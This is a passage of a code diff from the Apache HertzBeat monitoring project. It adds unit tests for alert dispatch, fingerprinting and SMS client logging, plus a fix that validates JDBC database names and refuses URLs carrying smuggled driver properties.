.labels(Map.of("department", "infra", "service", "checkout"))
|
||||
.annotations(Map.of("summary", "infra summary"))
|
||||
.status("resolved")
|
||||
.build();
|
||||
GroupAlert groupedAlert = GroupAlert.builder()
|
||||
.status("firing")
|
||||
.groupLabels(Map.of("service", "checkout"))
|
||||
.alerts(List.of(algorithmAlert, algorithmResolvedAlert, infrastructureAlert))
|
||||
.build();
|
||||
NoticeTemplate algorithmTemplate = NoticeTemplate.builder().id(1L).build();
|
||||
NoticeTemplate infrastructureTemplate = NoticeTemplate.builder().id(2L).build();
|
||||
NoticeRule algorithmRule = NoticeRule.builder()
|
||||
.filterAll(false)
|
||||
.labels(Map.of("department", "algorithm"))
|
||||
.receiverId(List.of(1L))
|
||||
.templateId(1L)
|
||||
.build();
|
||||
NoticeRule infrastructureRule = NoticeRule.builder()
|
||||
.filterAll(false)
|
||||
.labels(Map.of("department", "infra"))
|
||||
.receiverId(List.of(1L))
|
||||
.templateId(2L)
|
||||
.build();
|
||||
|
||||
when(alertStoreHandler.store(groupedAlert)).thenReturn(groupedAlert);
|
||||
when(noticeConfigService.getReceiverFilterRule(groupedAlert))
|
||||
.thenReturn(List.of(algorithmRule, infrastructureRule));
|
||||
when(noticeConfigService.getReceiverById(1L)).thenReturn(receiver);
|
||||
when(noticeConfigService.getOneTemplateById(1L)).thenReturn(algorithmTemplate);
|
||||
when(noticeConfigService.getOneTemplateById(2L)).thenReturn(infrastructureTemplate);
|
||||
doAnswer(invocation -> {
|
||||
Runnable task = invocation.getArgument(1);
|
||||
task.run();
|
||||
return null;
|
||||
}).when(workerPool).executeNotify(anyByte(), any(Runnable.class));
|
||||
|
||||
alertNoticeDispatch.dispatchAlarm(groupedAlert);
|
||||
|
||||
ArgumentCaptor<NoticeTemplate> templates = ArgumentCaptor.forClass(NoticeTemplate.class);
|
||||
ArgumentCaptor<GroupAlert> alerts = ArgumentCaptor.forClass(GroupAlert.class);
|
||||
verify(alertNotifyHandler, times(2)).send(eq(receiver), templates.capture(), alerts.capture());
|
||||
assertAll(
|
||||
() -> assertEquals(List.of(algorithmTemplate, infrastructureTemplate), templates.getAllValues()),
|
||||
() -> assertEquals(
|
||||
List.of("algorithm", "algorithm-resolved"),
|
||||
alerts.getAllValues().get(0).getAlertFingerprints()),
|
||||
() -> assertEquals(List.of("infra"), alerts.getAllValues().get(1).getAlertFingerprints()),
|
||||
() -> assertEquals("firing", alerts.getAllValues().get(0).getStatus()),
|
||||
() -> assertEquals("resolved", alerts.getAllValues().get(1).getStatus()),
|
||||
() -> assertEquals(
|
||||
Map.of("runbook", "algorithm runbook"),
|
||||
alerts.getAllValues().get(0).getCommonAnnotations()),
|
||||
() -> assertEquals(
|
||||
Map.of("summary", "infra summary"),
|
||||
alerts.getAllValues().get(1).getCommonAnnotations()));
|
||||
}
|
||||
}
|
||||
|
||||
+17
@@ -18,6 +18,8 @@
|
||||
package org.apache.hertzbeat.alert.notice.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertSame;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
@@ -33,7 +35,9 @@ import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Test case for {@link DbAlertStoreHandlerImpl}
|
||||
@@ -122,4 +126,17 @@ class DbAlertStoreHandlerImplTest {
|
||||
assertEquals(1L, groupAlert.getId());
|
||||
}
|
||||
|
||||
@Test
|
||||
void usesBoundedLocksForExternalKeys() {
|
||||
int stripeCount = DbAlertStoreHandlerImpl.LOCK_STRIPE_COUNT;
|
||||
Object firstLock = DbAlertStoreHandlerImpl.lockFor("same-key");
|
||||
assertSame(firstLock, DbAlertStoreHandlerImpl.lockFor("same-key"));
|
||||
|
||||
Set<Object> locks = new HashSet<>();
|
||||
for (int index = 0; index < stripeCount * 4; index++) {
|
||||
locks.add(DbAlertStoreHandlerImpl.lockFor("external-key-" + index));
|
||||
}
|
||||
assertTrue(locks.size() <= stripeCount);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+24
@@ -17,6 +17,7 @@
|
||||
|
||||
package org.apache.hertzbeat.alert.reduce;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
@@ -28,6 +29,7 @@ import java.util.concurrent.CountDownLatch;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
import java.util.concurrent.atomic.AtomicReference;
|
||||
import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
|
||||
import org.apache.hertzbeat.common.config.VirtualThreadProperties;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@@ -85,6 +87,28 @@ class AlarmCommonReduceTest {
|
||||
assertTrue(virtualThread.get());
|
||||
}
|
||||
|
||||
@Test
|
||||
void durableFingerprintShouldRemainIndependentFromCalculatorCacheKey() throws Exception {
|
||||
CountDownLatch latch = new CountDownLatch(1);
|
||||
AtomicReference<String> durableFingerprint = new AtomicReference<>();
|
||||
doAnswer(invocation -> {
|
||||
durableFingerprint.set(invocation.getArgument(0, SingleAlert.class).getFingerprint());
|
||||
latch.countDown();
|
||||
return null;
|
||||
}).when(alarmGroupReduce).processGroupAlert(any(SingleAlert.class));
|
||||
SingleAlert alert = SingleAlert.builder()
|
||||
.labels(new HashMap<>(Map.of(
|
||||
"instance", "db-1",
|
||||
"alertname", "disk_full",
|
||||
"timestamp", "not-part-of-identity")))
|
||||
.build();
|
||||
|
||||
alarmCommonReduce.reduceAndSendAlarm(alert);
|
||||
|
||||
assertTrue(latch.await(5, TimeUnit.SECONDS));
|
||||
assertEquals("alertname:disk_full,instance:db-1", durableFingerprint.get());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testReduceAndSendAlarmQueuesWhenConcurrencyLimitReached() throws Exception {
|
||||
VirtualThreadProperties properties = new VirtualThreadProperties(
|
||||
|
||||
+300
@@ -0,0 +1,300 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.alert.service.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.mockStatic;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Map;
|
||||
import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.AlibabaSmsProperties;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.AwsSmsProperties;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.SmslocalSmsProperties;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.TencentSmsProperties;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.TwilioSmsProperties;
|
||||
import org.apache.hertzbeat.common.entity.dto.sms.UniSmsProperties;
|
||||
import org.apache.hertzbeat.common.support.exception.SendMessageException;
|
||||
import org.apache.http.StatusLine;
|
||||
import org.apache.http.client.methods.CloseableHttpResponse;
|
||||
import org.apache.http.client.methods.HttpPost;
|
||||
import org.apache.http.entity.ContentType;
|
||||
import org.apache.http.entity.StringEntity;
|
||||
import org.apache.http.impl.client.CloseableHttpClient;
|
||||
import org.apache.http.impl.client.HttpClients;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.MockedStatic;
|
||||
import org.springframework.boot.test.system.CapturedOutput;
|
||||
import org.springframework.boot.test.system.OutputCaptureExtension;
|
||||
|
||||
/**
|
||||
* Verifies that SMS clients do not write request credentials or message data to logs.
|
||||
*/
|
||||
@ExtendWith(OutputCaptureExtension.class)
|
||||
class SmsClientLoggingTest {
|
||||
|
||||
private static final String ACCESS_KEY = "access-key-log-sentinel";
|
||||
private static final String PHONE = "15555550123";
|
||||
private static final String ALERT_CONTENT = "alert-content-log-sentinel";
|
||||
private static final String PROVIDER_BODY = "provider-body-log-sentinel";
|
||||
private static final String SIGNED_URL = "https://provider.invalid/send?Signature=signed-url-log-sentinel";
|
||||
|
||||
@Test
|
||||
void requestCredentialsAndMessageDataShouldNotBeLogged(CapturedOutput output) throws Exception {
|
||||
NoticeReceiver receiver = receiver();
|
||||
GroupAlert alert = alert();
|
||||
|
||||
AwsSmsProperties awsProperties = new AwsSmsProperties();
|
||||
awsProperties.setAccessKeyId(ACCESS_KEY);
|
||||
awsProperties.setAccessKeySecret("aws-secret");
|
||||
awsProperties.setRegion("us-east-1");
|
||||
withSuccessfulResponse("{\"MessageId\":\"message-id\"}",
|
||||
() -> new AwsSmsClientImpl(awsProperties).sendMessage(receiver, null, alert));
|
||||
|
||||
AlibabaSmsProperties alibabaProperties =
|
||||
new AlibabaSmsProperties(ACCESS_KEY, "alibaba-secret", "sign", "template");
|
||||
withSuccessfulResponse("{\"Code\":\"OK\"}",
|
||||
() -> new AlibabaSmsClientImpl(alibabaProperties).sendMessage(receiver, null, alert));
|
||||
|
||||
UniSmsProperties uniProperties =
|
||||
new UniSmsProperties(ACCESS_KEY, "unisms-secret", "sign", "template", "hmac");
|
||||
withSuccessfulResponse("{\"code\":\"0\"}",
|
||||
() -> new UniSmsClientImpl(uniProperties).sendMessage(receiver, null, alert));
|
||||
|
||||
withSuccessfulResponse("{\"sid\":\"message-id\"}",
|
||||
() -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver, null, alert));
|
||||
|
||||
withSuccessfulResponse("{\"Response\":{\"SendStatusSet\":[{\"Code\":\"Ok\"}]}}",
|
||||
() -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver, null, alert));
|
||||
|
||||
withSuccessfulResponse("[{\"errorCode\":\"200\",\"id\":\"message-id\"}]",
|
||||
() -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver, null, alert));
|
||||
|
||||
String logs = output.getAll();
|
||||
assertFalse(logs.contains(ACCESS_KEY));
|
||||
assertFalse(logs.contains(PHONE));
|
||||
assertFalse(logs.contains(ALERT_CONTENT));
|
||||
assertFalse(logs.contains("Authorization"));
|
||||
assertFalse(logs.contains("Signature="));
|
||||
}
|
||||
|
||||
@Test
|
||||
void failedResponsesExposeOnlyProviderAndHttpStatus(CapturedOutput output) throws Exception {
|
||||
String body = "{\"message\":\"" + PROVIDER_BODY + "\",\"phone\":\"" + PHONE + "\"}";
|
||||
|
||||
SendMessageException awsFailure = withResponse(503, body,
|
||||
() -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException alibabaFailure = withResponse(502, body,
|
||||
() -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException uniFailure = withResponse(429, body,
|
||||
() -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException twilioFailure = withResponse(429, body,
|
||||
() -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException tencentFailure = withResponse(429, body,
|
||||
() -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException smslocalFailure = withResponse(429, body,
|
||||
() -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
|
||||
|
||||
assertEquals("AWS SMS request failed with HTTP status 503", awsFailure.getMessage());
|
||||
assertEquals("Alibaba Cloud SMS request failed with HTTP status 502", alibabaFailure.getMessage());
|
||||
assertEquals("UniSMS request failed with HTTP status 429", uniFailure.getMessage());
|
||||
assertEquals("Twilio SMS request failed with HTTP status 429", twilioFailure.getMessage());
|
||||
assertEquals("Tencent Cloud SMS request failed with HTTP status 429", tencentFailure.getMessage());
|
||||
assertEquals("SMSLocal request failed with HTTP status 429", smslocalFailure.getMessage());
|
||||
assertNoSensitiveSentinels(output.getAll()
|
||||
+ awsFailure.getMessage()
|
||||
+ alibabaFailure.getMessage()
|
||||
+ uniFailure.getMessage()
|
||||
+ twilioFailure.getMessage()
|
||||
+ tencentFailure.getMessage()
|
||||
+ smslocalFailure.getMessage());
|
||||
}
|
||||
|
||||
@Test
|
||||
void providerErrorsDoNotExposeProviderMessages(CapturedOutput output) throws Exception {
|
||||
SendMessageException alibabaFailure = withResponse(
|
||||
200,
|
||||
"{\"Code\":\"THROTTLED\",\"Message\":\"" + PROVIDER_BODY + "\"}",
|
||||
() -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException uniFailure = withResponse(
|
||||
200,
|
||||
"{\"code\":\"RATE_LIMITED\",\"message\":\"" + PROVIDER_BODY + "\"}",
|
||||
() -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException awsFailure = withResponse(
|
||||
200,
|
||||
"{\"message\":\"" + PROVIDER_BODY + "\"}",
|
||||
() -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException twilioFailure = withResponse(
|
||||
400,
|
||||
"{\"code\":21608,\"message\":\"" + PROVIDER_BODY + "\"}",
|
||||
() -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException tencentFailure = withResponse(
|
||||
200,
|
||||
"{\"Response\":{\"Error\":{\"Code\":\"THROTTLED\",\"Message\":\""
|
||||
+ PROVIDER_BODY + "\"}}}",
|
||||
() -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException smslocalFailure = withResponse(
|
||||
200,
|
||||
"[{\"errorCode\":\"RATE_LIMITED\",\"id\":\"" + PROVIDER_BODY + "\"}]",
|
||||
() -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
|
||||
|
||||
assertEquals("Alibaba Cloud SMS request failed (code: THROTTLED)", alibabaFailure.getMessage());
|
||||
assertEquals("UniSMS request failed (code: RATE_LIMITED)", uniFailure.getMessage());
|
||||
assertEquals("AWS SMS provider returned an invalid response", awsFailure.getMessage());
|
||||
assertEquals("Twilio SMS request failed (code: 21608)", twilioFailure.getMessage());
|
||||
assertEquals("Tencent Cloud SMS request failed (code: THROTTLED)", tencentFailure.getMessage());
|
||||
assertEquals("SMSLocal request failed (code: RATE_LIMITED)", smslocalFailure.getMessage());
|
||||
assertNoSensitiveSentinels(output.getAll()
|
||||
+ alibabaFailure.getMessage()
|
||||
+ uniFailure.getMessage()
|
||||
+ awsFailure.getMessage()
|
||||
+ twilioFailure.getMessage()
|
||||
+ tencentFailure.getMessage()
|
||||
+ smslocalFailure.getMessage());
|
||||
}
|
||||
|
||||
@Test
|
||||
void networkExceptionsDoNotExposeSignedUrls(CapturedOutput output) throws Exception {
|
||||
SendMessageException awsFailure = withNetworkFailure(
|
||||
() -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException alibabaFailure = withNetworkFailure(
|
||||
() -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException uniFailure = withNetworkFailure(
|
||||
() -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException twilioFailure = withNetworkFailure(
|
||||
() -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException tencentFailure = withNetworkFailure(
|
||||
() -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
|
||||
SendMessageException smslocalFailure = withNetworkFailure(
|
||||
() -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
|
||||
|
||||
assertEquals("AWS SMS request failed", awsFailure.getMessage());
|
||||
assertEquals("Alibaba Cloud SMS request failed", alibabaFailure.getMessage());
|
||||
assertEquals("UniSMS request failed", uniFailure.getMessage());
|
||||
assertEquals("Twilio SMS request failed", twilioFailure.getMessage());
|
||||
assertEquals("Tencent Cloud SMS request failed", tencentFailure.getMessage());
|
||||
assertEquals("SMSLocal request failed", smslocalFailure.getMessage());
|
||||
assertNoSensitiveSentinels(output.getAll()
|
||||
+ awsFailure.getMessage()
|
||||
+ alibabaFailure.getMessage()
|
||||
+ uniFailure.getMessage()
|
||||
+ twilioFailure.getMessage()
|
||||
+ tencentFailure.getMessage()
|
||||
+ smslocalFailure.getMessage());
|
||||
}
|
||||
|
||||
private void withSuccessfulResponse(String responseBody, Runnable operation) throws Exception {
|
||||
withResponse(200, responseBody, operation, false);
|
||||
}
|
||||
|
||||
private SendMessageException withResponse(int statusCode, String responseBody, Runnable operation)
|
||||
throws Exception {
|
||||
return withResponse(statusCode, responseBody, operation, true);
|
||||
}
|
||||
|
||||
private SendMessageException withResponse(
|
||||
int statusCode,
|
||||
String responseBody,
|
||||
Runnable operation,
|
||||
boolean expectsFailure) throws Exception {
|
||||
CloseableHttpClient httpClient = mock(CloseableHttpClient.class);
|
||||
CloseableHttpResponse response = mock(CloseableHttpResponse.class);
|
||||
StatusLine statusLine = mock(StatusLine.class);
|
||||
when(statusLine.getStatusCode()).thenReturn(statusCode);
|
||||
when(response.getStatusLine()).thenReturn(statusLine);
|
||||
when(response.getEntity()).thenReturn(new StringEntity(responseBody, ContentType.APPLICATION_JSON));
|
||||
when(httpClient.execute(any(HttpPost.class))).thenReturn(response);
|
||||
|
||||
try (MockedStatic<HttpClients> httpClients = mockStatic(HttpClients.class)) {
|
||||
httpClients.when(HttpClients::createDefault).thenReturn(httpClient);
|
||||
if (expectsFailure) {
|
||||
return assertThrows(SendMessageException.class, operation::run);
|
||||
}
|
||||
operation.run();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private SendMessageException withNetworkFailure(Runnable operation) throws Exception {
|
||||
CloseableHttpClient httpClient = mock(CloseableHttpClient.class);
|
||||
when(httpClient.execute(any(HttpPost.class)))
|
||||
.thenThrow(new IOException(SIGNED_URL + "&phone=" + PHONE + "&body=" + PROVIDER_BODY));
|
||||
try (MockedStatic<HttpClients> httpClients = mockStatic(HttpClients.class)) {
|
||||
httpClients.when(HttpClients::createDefault).thenReturn(httpClient);
|
||||
return assertThrows(SendMessageException.class, operation::run);
|
||||
}
|
||||
}
|
||||
|
||||
private NoticeReceiver receiver() {
|
||||
NoticeReceiver receiver = new NoticeReceiver();
|
||||
receiver.setPhone(PHONE);
|
||||
return receiver;
|
||||
}
|
||||
|
||||
private GroupAlert alert() {
|
||||
GroupAlert alert = new GroupAlert();
|
||||
alert.setGroupKey("instance");
|
||||
alert.setCommonLabels(Map.of());
|
||||
alert.setCommonAnnotations(Map.of("summary", ALERT_CONTENT, "description", ALERT_CONTENT));
|
||||
return alert;
|
||||
}
|
||||
|
||||
private AwsSmsProperties awsProperties() {
|
||||
AwsSmsProperties properties = new AwsSmsProperties();
|
||||
properties.setAccessKeyId(ACCESS_KEY);
|
||||
properties.setAccessKeySecret("aws-secret");
|
||||
properties.setRegion("us-east-1");
|
||||
return properties;
|
||||
}
|
||||
|
||||
private AlibabaSmsProperties alibabaProperties() {
|
||||
return new AlibabaSmsProperties(ACCESS_KEY, "alibaba-secret", "sign", "template");
|
||||
}
|
||||
|
||||
private UniSmsProperties uniProperties() {
|
||||
return new UniSmsProperties(ACCESS_KEY, "unisms-secret", "sign", "template", "hmac");
|
||||
}
|
||||
|
||||
private TwilioSmsProperties twilioProperties() {
|
||||
return new TwilioSmsProperties(ACCESS_KEY, "twilio-secret", "twilio-phone");
|
||||
}
|
||||
|
||||
private TencentSmsProperties tencentProperties() {
|
||||
return new TencentSmsProperties(ACCESS_KEY, "tencent-secret", "app-id", "sign", "template");
|
||||
}
|
||||
|
||||
private SmslocalSmsProperties smslocalProperties() {
|
||||
return new SmslocalSmsProperties(ACCESS_KEY);
|
||||
}
|
||||
|
||||
private void assertNoSensitiveSentinels(String text) {
|
||||
assertFalse(text.contains(ACCESS_KEY));
|
||||
assertFalse(text.contains(PHONE));
|
||||
assertFalse(text.contains(ALERT_CONTENT));
|
||||
assertFalse(text.contains(PROVIDER_BODY));
|
||||
assertFalse(text.contains(SIGNED_URL));
|
||||
assertFalse(text.contains("signed-url-log-sentinel"));
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.alert.service.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import static org.mockito.Mockito.verify;
|
||||
|
||||
import org.apache.hertzbeat.alert.reduce.AlarmCommonReduce;
|
||||
import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
|
||||
import org.apache.hertzbeat.common.util.JsonUtil;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.ArgumentCaptor;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
|
||||
/**
|
||||
* Test case for {@link ZabbixExternAlertServiceImpl}.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class ZabbixExternAlertServiceImplTest {
|
||||
|
||||
@Mock
|
||||
private AlarmCommonReduce alarmCommonReduce;
|
||||
|
||||
@InjectMocks
|
||||
private ZabbixExternAlertServiceImpl externAlertService;
|
||||
|
||||
@Test
|
||||
void ignoresExternalPersistenceIdentity() {
|
||||
SingleAlert incoming = SingleAlert.builder()
|
||||
.id(123L)
|
||||
.fingerprint("zabbix-alert")
|
||||
.build();
|
||||
|
||||
externAlertService.addExternAlert(JsonUtil.toJson(incoming));
|
||||
|
||||
ArgumentCaptor<SingleAlert> alertCaptor = ArgumentCaptor.forClass(SingleAlert.class);
|
||||
verify(alarmCommonReduce).reduceAndSendAlarm(alertCaptor.capture());
|
||||
assertNull(alertCaptor.getValue().getId());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.alert.util;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* Test case for {@link AlertUtil}.
|
||||
*/
|
||||
class AlertUtilTest {
|
||||
|
||||
@Test
|
||||
void calculateFingerprintPreservesLabelPairing() {
|
||||
Map<String, String> first = new LinkedHashMap<>();
|
||||
first.put("environment", "production");
|
||||
first.put("team", "payments");
|
||||
|
||||
Map<String, String> swapped = new LinkedHashMap<>();
|
||||
swapped.put("environment", "payments");
|
||||
swapped.put("team", "production");
|
||||
|
||||
assertNotEquals(
|
||||
AlertUtil.calculateFingerprint(first),
|
||||
AlertUtil.calculateFingerprint(swapped));
|
||||
}
|
||||
|
||||
@Test
|
||||
void calculateFingerprintIsIndependentOfMapIterationOrder() {
|
||||
Map<String, String> first = new LinkedHashMap<>();
|
||||
first.put("environment", "production");
|
||||
first.put("team", "payments");
|
||||
|
||||
Map<String, String> reversed = new LinkedHashMap<>();
|
||||
reversed.put("team", "payments");
|
||||
reversed.put("environment", "production");
|
||||
|
||||
assertEquals(
|
||||
AlertUtil.calculateFingerprint(first),
|
||||
AlertUtil.calculateFingerprint(reversed));
|
||||
}
|
||||
}
|
||||
+15
-9
@@ -46,6 +46,7 @@ import org.apache.hertzbeat.common.entity.job.SshTunnel;
|
||||
import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol;
|
||||
import org.apache.hertzbeat.common.entity.message.CollectRep;
|
||||
import org.apache.hertzbeat.common.util.CommonUtil;
|
||||
import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
|
||||
import org.apache.sshd.common.SshException;
|
||||
import org.apache.sshd.common.channel.exception.SshChannelOpenException;
|
||||
import org.postgresql.util.PSQLException;
|
||||
@@ -605,28 +606,33 @@ public class JdbcCommonCollect extends AbstractCollect {
|
||||
return url;
|
||||
}
|
||||
assert jdbcProtocol.getPlatform() != null;
|
||||
return switch (jdbcProtocol.getPlatform()) {
|
||||
// the database name is concatenated into the url below, so it must not carry url syntax
|
||||
String database = JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase());
|
||||
String constructedUrl = switch (jdbcProtocol.getPlatform()) {
|
||||
case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase())
|
||||
+ "/" + database
|
||||
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
|
||||
case "xugu" -> "jdbc:xugu://" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
|
||||
+ "/" + database;
|
||||
case "postgresql" -> "jdbc:postgresql://" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
|
||||
+ "/" + database;
|
||||
case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
|
||||
+ "/" + database;
|
||||
case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port
|
||||
+ ";" + (jdbcProtocol.getDatabase() == null ? "" : "DatabaseName=" + jdbcProtocol.getDatabase())
|
||||
+ ";" + (database.isEmpty() ? "" : "DatabaseName=" + database)
|
||||
+ ";trustServerCertificate=true;";
|
||||
case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
|
||||
+ "/" + database;
|
||||
case "dm" -> "jdbc:dm://" + host + ":" + port;
|
||||
case "db2" -> "jdbc:db2://" + host + ":" + port
|
||||
+ "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
|
||||
+ "/" + database;
|
||||
case "testcontainers" -> "jdbc:tc:" + host + ":" + port
|
||||
+ ":///" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()) + "?user=root&password=root";
|
||||
+ ":///" + database + "?user=root&password=root";
|
||||
default -> throw new IllegalArgumentException("Not support database platform: " + jdbcProtocol.getPlatform());
|
||||
};
|
||||
// fail closed if any concatenated value still smuggled a driver property through
|
||||
JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl);
|
||||
return constructedUrl;
|
||||
}
|
||||
|
||||
private static final class ResultSetJdbcQueryRowSet implements JdbcQueryRowSet {
|
||||
|
||||
+23
@@ -185,6 +185,29 @@ class JdbcCommonCollectTest {
|
||||
assertEquals("Not support database platform: invalid", exception.getMessage());
|
||||
}
|
||||
|
||||
/**
|
||||
* The url blacklist only guards a user supplied url. Driver properties smuggled through the
|
||||
